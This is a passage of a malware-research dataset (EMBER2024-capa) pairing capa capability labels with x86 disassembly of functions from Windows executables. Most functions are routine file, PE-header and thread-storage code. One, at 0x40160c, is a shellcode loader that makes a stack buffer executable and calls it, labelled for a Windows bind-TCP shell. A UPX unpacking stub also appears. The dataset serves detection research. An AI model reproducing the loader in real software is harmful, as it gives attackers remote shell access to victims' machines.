joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b7d0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 8], ecx
cmp dword [ebp + 0x10], 0
jg 0x40b7f0
jl 0x40b7e7
cmp dword [ebp + 0xc], 0
ja 0x40b7f0
xor eax, eax
xor edx, edx
jmp 0x40b927
mov eax, dword [ebp - 8]
cmp dword [eax + 0x38], 0
je 0x40b812
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
call fcn.0040b930
jmp 0x40b927
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 8]
call fcn.00406d90
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jbe 0x40b881
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.00402ec0
add esp, 8
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 8]
call fcn.00409820
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.00408790
add esp, 0xc
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0xc]
mov dword [ebp + 8], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0xc]
push edx
mov ecx, dword [ebp - 8]
call fcn.00409730
mov eax, dword [ebp - 8]
cmp dword [eax + 0x4c], 0
je 0x40b918
mov ecx, dword [ebp - 8]
call fcn.00407bf0
mov dword [ebp - 0x18], 0xfff
cmp dword [ebp - 4], 0xfff
jbe 0x40b8f1
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x4c]
push edx
push 0xfff
push 1
mov eax, dword [ebp + 8]
push eax
call fcn.0041273c
add esp, 0x10
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x10]
mov dword [ebp + 8], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 4], edx
cmp dword [ebp - 0x10], 0xfff
je 0x40b8ef
xor eax, eax
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x1c]
sbb edx, eax
mov eax, ecx
jmp 0x40b927
jmp 0x40b89d
cmp dword [ebp - 4], 0
jbe 0x40b918
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x4c]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 1
mov edx, dword [ebp + 8]
push edx
call fcn.0041273c
add esp, 0x10
mov ecx, dword [ebp - 4]
sub ecx, eax
mov dword [ebp - 4], ecx
xor edx, edx
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x1c]
sbb ecx, edx
mov edx, ecx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x41aec1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041ad37
Function at 0x4b5ed0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x73000]
push edi
or ebp, 0xffffffff
jmp 0x4b5ef2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4b5ef9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b5ee8
mov eax, 1
add ebx, ebx
jne 0x4b5f0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4b5f1c
jne 0x4b5f3b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b5f3b
dec eax
add ebx, ebx
jne 0x4b5f28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4b5f00
add ebx, ebx
jne 0x4b5f37
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4b5f8d
xor ecx, ecx
sub eax, 3
jb 0x4b5f53
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4b5fc2
sar eax, 1
mov ebp, eax
jmp 0x4b5f5e
add ebx, ebx
jne 0x4b5f5e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b5f2c
inc ecx
add ebx, ebx
jne 0x4b5f6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b5f2c
add ebx, ebx
jne 0x4b5f79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4b5f6e
jne 0x4b5f8a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4b5f6e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4b5fac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4b5f9e
jmp 0x4b5eee
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4b5fac
add edi, ecx
jmp 0x4b5eee
pop esi
mov edi, esi
mov ecx, 0x370c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4b5fca
cmp byte [edi], 0x4a
jne 0x4b5fca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4b5fcf
lea edi, [esi + 0xb1000]
mov eax, dword [edi]
or eax, eax
je 0x4b6047
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xbd038]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xbd18c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4b5ffc
mov ecx, edi
jns 0x4b602b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xbd190]
or eax, eax
je 0x4b6041
mov dword [ebx], eax
add ebx, 4
jmp 0x4b6019
call dword [esi + 0xbd1a0]
mov ebp, dword [esi + 0xbd194]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4b607b
sub esp, 0xffffff80
jmp 0x417850
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x40b054], 1
mov dword [0x40b050], 1
mov dword [0x40b04c], 1
mov dword [0x40b044], 1
jne 0x401060
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010c0
mov dword [0x40b00c], eax
mov eax, dword [0x40b060]
test eax, eax
jne 0x4010b0
mov dword [esp], 1
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x40b074]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x40b05c]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x40801c], 1
je 0x4010f0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 2
call sym.___set_app_type
jmp 0x40107a
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401060
cmp dword [ecx + 0x84], 0xe
jbe 0x401060
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401060
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401060
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401060

Function at 0x40160c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x1b8
call dbg.__main
lea edx, [ebp - 0x1ad]
mov eax, 0x409078
mov ecx, 0x191
mov ebx, dword [eax]
mov dword [edx], ebx
mov ebx, dword [eax + ecx - 4]
mov dword [edx + ecx - 4], ebx
lea ebx, [edx + 4]
and ebx, 0xfffffffc
sub edx, ebx
sub eax, edx
add ecx, edx
and ecx, 0xfffffffc
shr ecx, 2
mov edx, ecx
mov edi, ebx
mov esi, eax
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x1ad]
mov dword [esp], eax
call sym._strlen
lea edx, [ebp - 0x1b4]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
lea eax, [ebp - 0x1ad]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x4016b3
mov dword [esp], str.VirtualProtect_n
call sym._printf
mov eax, 1
jmp 0x4016de
lea eax, [ebp - 0x1ad]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 4], eax
mov dword [esp], str.strlen_windows_shellbindtcp__d_n
call sym._printf
lea eax, [ebp - 0x1ad]
call eax
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret

Function at 0x401960
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x40363f
Capabilities:
Get file size
Read file via mapping

Disassembly:
push 0x21c
mov eax, 0x41f903
call fcn.0040891f
mov edi, ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
inc ecx
mov byte [edi + 0x14], cl
lea ecx, [ebp - 0x224]
push eax
call fcn.00403064
push ecx
push ecx
xor ebx, ebx
mov edx, esp
mov dword [ebp - 4], ebx
mov eax, dword [eax]
mov ecx, dword [eax + 8]
add eax, 0xc
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x220]
mov dword [edx], eax
call fcn.004061b2
pop ecx
pop ecx
lea ecx, [ebp - 0x224]
mov byte [ebp - 4], 2
call fcn.0040263e
mov cl, byte [edi + 0x14]
xor eax, eax
mov edx, dword [ebp - 0x220]
or dword [edi + 4], 0xffffffff
add edx, 0xc
or dword [edi + 8], 0xffffffff
test cl, cl
push ebx
push 0x80
setne al
mov dword [edi + 0xc], ebx
add eax, 2
test cl, cl
push eax
push ebx
push 3
pop eax
push 1
pop esi
cmovne eax, esi
mov esi, 0x80000000
push eax
mov eax, 0xc0000000
cmovne eax, esi
push eax
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [edi + 4], eax
cmp eax, 0xffffffff
je 0x4037e4
cmp byte [0x43dc14], bl
jne 0x4036fa
call fcn.00403a36
mov esi, dword [0x43dc0c]
test esi, esi
je 0x403758
push 0x208
lea eax, [ebp - 0x21c]
push ebx
push eax
call fcn.00409e50
add esp, 0xc
cmp byte [0x43dc14], 0
jne 0x40372d
call fcn.00403a36
mov esi, dword [0x43dc0c]
push ebx
push 0x104
lea eax, [ebp - 0x21c]
push eax
push dword [edi + 4]
call esi
push ecx
push ecx
lea edx, [ebp - 0x214]
mov ecx, esp
call fcn.004010ec
lea ecx, [edi + 0x18]
call fcn.00403147
jmp 0x403770
lea ecx, [edi + 0x18]
lea eax, [ebp - 0x220]
cmp eax, ecx
je 0x403770
push dword [ebp - 0x220]
call fcn.00403c4d
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov cl, byte [edi + 0x14]
xor edx, edx
push ebx
mov dword [edi + 0x10], eax
test cl, cl
mov eax, 0x10000000
cmovne eax, edx
push eax
push ebx
push 4
pop eax
push 2
pop esi
cmovne eax, esi
push eax
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
cmp dword [edi + 4], 0xffffffff
mov dword [edi + 8], eax
je 0x4037b9
test eax, eax
jne 0x4037bd
mov ecx, edi
call fcn.004037f9
jmp 0x4037e4
test eax, eax
je 0x4037d5
cmp byte [edi + 0x14], 0
push ebx
push ebx
push ebx
push 4
pop ecx
cmovne esi, ecx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [edi + 0xc], eax
cmp dword [edi + 0xc], ebx
jne 0x4037e1
mov ecx, edi
call fcn.004037f9
mov ebx, dword [edi + 0xc]
lea ecx, [ebp - 0x220]
call fcn.0040263e
mov eax, ebx
call fcn.004088dd
ret 8
Function at 0x403a36
Capabilities:
Get common file path

Disassembly:
push 0x210
mov eax, 0x41f9b2
call fcn.0040891f
cmp byte [0x43dc14], 0
je 0x403a5d
cmp dword [0x43dc0c], 0
setne al
jmp 0x403b61
push dword [0x43dc04]
lea ecx, [ebp - 0x21c]
mov byte [0x43dc14], 1
call fcn.00403064
xor ebx, ebx
mov dword [ebp - 4], ebx
call fcn.004035cc
push ebx
lea ecx, [ebp - 0x21c]
push ecx
mov ecx, eax
call fcn.00403c87
test eax, eax
je 0x403a9e
mov eax, dword [eax]
mov dword [0x43dc10], eax
jmp 0x403b21
xor eax, eax
push ebx
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x218]
push 0x25
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x403b54
push 0x426a04
mov esi, 0x104
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.0040ffa7
push dword [0x43dc04]
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.0040ffa7
add esp, 0x18
lea eax, [ebp - 0x218]
push 8
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
mov dword [0x43dc10], esi
call fcn.004035cc
push 1
lea ecx, [ebp - 0x21c]
push ecx
mov ecx, eax
call fcn.00403c87
mov dword [eax], esi
mov eax, dword [0x43dc10]
test eax, eax
je 0x403b4a
push dword [0x43dc08]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43dc0c], eax
test eax, eax
jne 0x403b51
mov eax, ebx
mov dword [0x43dc10], ebx
mov dword [0x43dc0c], eax
jmp 0x403b4f
mov eax, dword [0x43dc0c]
test eax, eax
setne bl
lea ecx, [ebp - 0x21c]
call fcn.0040263e
mov al, bl
call fcn.004088dd
ret
Function at 0x404b36
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push 0x27c
mov eax, 0x41faae
call fcn.0040891f
xor esi, esi
push ecx
push ecx
mov ecx, esp
mov dword [ebp - 4], esi
mov eax, dword [ebp + 8]
mov dword [ecx], eax
mov eax, dword [ebp + 0xc]
mov dword [ecx + 4], eax
lea ecx, [ebp - 0x26c]
call fcn.0040533a
push str..
lea ecx, [ebp - 0x268]
mov byte [ebp - 4], 1
call fcn.00403064
lea ecx, [ebp - 0x26c]
mov byte [ebp - 4], 2
call fcn.00402660
test eax, eax
jne 0x404b9f
lea eax, [ebp - 0x268]
push eax
lea ecx, [ebp - 0x274]
call fcn.00403b67
jmp 0x404be4
lea ecx, [ebp - 0x268]
call fcn.00402660
test eax, eax
jne 0x404bb6
lea eax, [ebp - 0x26c]
jmp 0x404b91
push ecx
push ecx
push esp
lea ecx, [ebp - 0x268]
call fcn.00404fe8
mov eax, dword [ebp - 0x26c]
push ecx
push ecx
mov edx, esp
mov ecx, dword [eax + 8]
add eax, 0xc
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x274]
mov dword [edx], eax
call fcn.00405ade
mov eax, dword [ebp - 0x274]
lea ecx, [ebp - 0x264]
add eax, 0xc
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x270], ebx
call fcn.0040263e
lea ecx, [ebp - 0x268]
mov byte [ebp - 4], 1
call fcn.0040263e
cmp ebx, 0xffffffff
je 0x404d2e
mov edi, esi
test byte [ebp - 0x264], 6
jne 0x404d0f
cmp word [ebp - 0x238], 0x2e
je 0x404d0f
mov eax, dword [ebp - 0x26c]
lea ecx, [ebp - 0x238]
push ecx
add eax, 0xc
push eax
lea eax, [ebp - 0x268]
push 0x426ae4
push eax
call fcn.00405007
add esp, 0x10
mov byte [ebp - 4], 3
test byte [ebp - 0x264], 0x10
je 0x404cc5
sub esp, 0x28
mov ebx, esp
mov dword [ebp - 0x288], ebx
mov dword [ebx + 0x24], esi
mov byte [ebp - 4], 4
mov ecx, dword [ebp + 0x34]
test ecx, ecx
je 0x404c96
mov eax, dword [ecx]
push ebx
call dword [eax]
mov dword [ebx + 0x24], eax
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x268]
push ecx
push ecx
mov edx, esp
mov ecx, dword [eax + 8]
add eax, 0xc
mov dword [edx], eax
mov dword [edx + 4], ecx
call fcn.00404b36
mov ebx, dword [ebp - 0x270]
add esp, 0x30
mov dword [ebp - 0x278], eax
jmp 0x404cfa
mov eax, dword [ebp - 0x268]
mov ecx, dword [eax + 8]
add eax, 0xc
mov dword [ebp - 0x280], ecx
mov ecx, dword [ebp + 0x34]
mov dword [ebp - 0x284], eax
test ecx, ecx
je 0x404d49
mov eax, dword [ecx]
lea edx, [ebp - 0x284]
push edx
call dword [eax + 8]
mov dword [ebp - 0x278], 1
lea ecx, [ebp - 0x268]
mov byte [ebp - 4], 1
call fcn.0040263e
add edi, dword [ebp - 0x278]
lea eax, [ebp - 0x264]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404c28
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, edi
lea ecx, [ebp - 0x26c]
call fcn.0040263e
lea ecx, [ebp + 0x10]
call fcn.00404d9a
mov eax, esi
call fcn.004088dd
ret
call fcn.00407df9
int3
Function at 0x408dbf
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x408dfe
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x408dfe
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x408dfe
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x408dfe
cmp dword [ecx + 0x74], 0xe
jbe 0x408dfe
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x415362
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4233d0
push 0x4233c8
push str.FlsAlloc
push 0x1f
call fcn.00415240
mov esi, eax
add esp, 0x10
test esi, esi
je 0x415396
push dword [ebp + 8]
mov ecx, esi
call dword [0x420160]
call esi
jmp 0x41539c
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4153e0
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4233e0
push 0x4233d8
push str.FlsGetValue
push 0x21
call fcn.00415240
mov esi, eax
add esp, 0x10
test esi, esi
je 0x415417
push dword [ebp + 8]
mov ecx, esi
call dword [0x420160]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x41541f
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4233e8
push 0x4233e0
push str.FlsSetValue
push 0x22
call fcn.00415240
mov esi, eax
add esp, 0x10
test esi, esi
je 0x415459
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x420160]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x416f5a
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.00416ed6
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x4170c9
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x4170c9
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x41707e
jg 0x416fb6
test eax, eax
je 0x417074
push 1
push 0x1000
call fcn.004135a4
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x416fd9
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x41706b
push 0x8000
push ebx
call fcn.00412bce
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x417002
jg 0x416ffd
cmp ecx, 0x1000
jb 0x417002
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00416886
add esp, 0x10
cmp eax, 0xffffffff
je 0x417047
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x416ffd
jl 0x41702e
test ecx, ecx
jne 0x416fef
push dword [ebp - 0xc]
push ebx
call fcn.00412bce
push esi
call fcn.0041351c
add esp, 0xc
xor ebx, ebx
jmp 0x4170d7
cmp byte [edi + 0x24], 0
je 0x41705e
cmp dword [edi + 0x20], 5
jne 0x41705e
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x417069
mov ebx, dword [edi + 0x18]
jmp 0x41706b
xor ebx, ebx
push esi
call fcn.0041351c
pop ecx
jmp 0x4170d7
test ecx, ecx
jg 0x417040
jl 0x41707e
test eax, eax
jae 0x417040
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00417d44
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x41709e
cmp byte [edi + 0x1c], 0
je 0x417040
jmp 0x4170cf
push ebx
call fcn.00416e6c
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x417040
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x4170d7
cmp byte [edi + 0x1c], 0
je 0x4170d4
mov ebx, dword [edi + 0x18]
jmp 0x4170d7
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.00417d44
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4172f5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x43e968]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x417335
cmp byte [ebx], 0xa
jne 0x417335
or byte [edi + eax + 0x28], 4
jmp 0x41733a
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x417439
mov dl, byte [eax]
cmp dl, 0x1a
je 0x41741c
inc eax
cmp dl, 0xd
je 0x417366
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x41738c
cmp eax, ecx
jae 0x41739a
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x41734e
jmp 0x417439
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x417417
cmp dword [ebp - 0x10], 0
je 0x417417
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x43e968]
test byte [eax + edi + 0x28], 0x48
je 0x4173f1
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4173dc
mov byte [esi], dl
jmp 0x4173ed
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x43e968]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x417439
cmp byte [ebp - 1], 0xa
jne 0x417400
cmp esi, ebx
jne 0x417400
mov byte [esi], 0xa
jmp 0x417438
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00417d44
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x417439
mov byte [esi], 0xd
jmp 0x417438
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x43e968]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x417436
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x417439
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x417442
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x43e968]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x417488
cmp word [ebx], dx
jne 0x417488
or byte [eax + edi + 0x28], 4
jmp 0x41748d
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x4175f0
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x4175d0
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x4174ce
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x417504
cmp eax, edx
jae 0x417512
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x4174a9
jmp 0x4175f0
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4175cb
cmp dword [ebp - 0x18], 0
je 0x4175cb
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x43e968]
test byte [eax + edi + 0x28], 0x48
je 0x4175a1
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x417565
mov word [esi], cx
jmp 0x41759c
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x43e968]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x43e968]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x43e968]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x4175f0
pop eax
cmp word [ebp - 4], ax
jne 0x4175b1
cmp esi, ebx
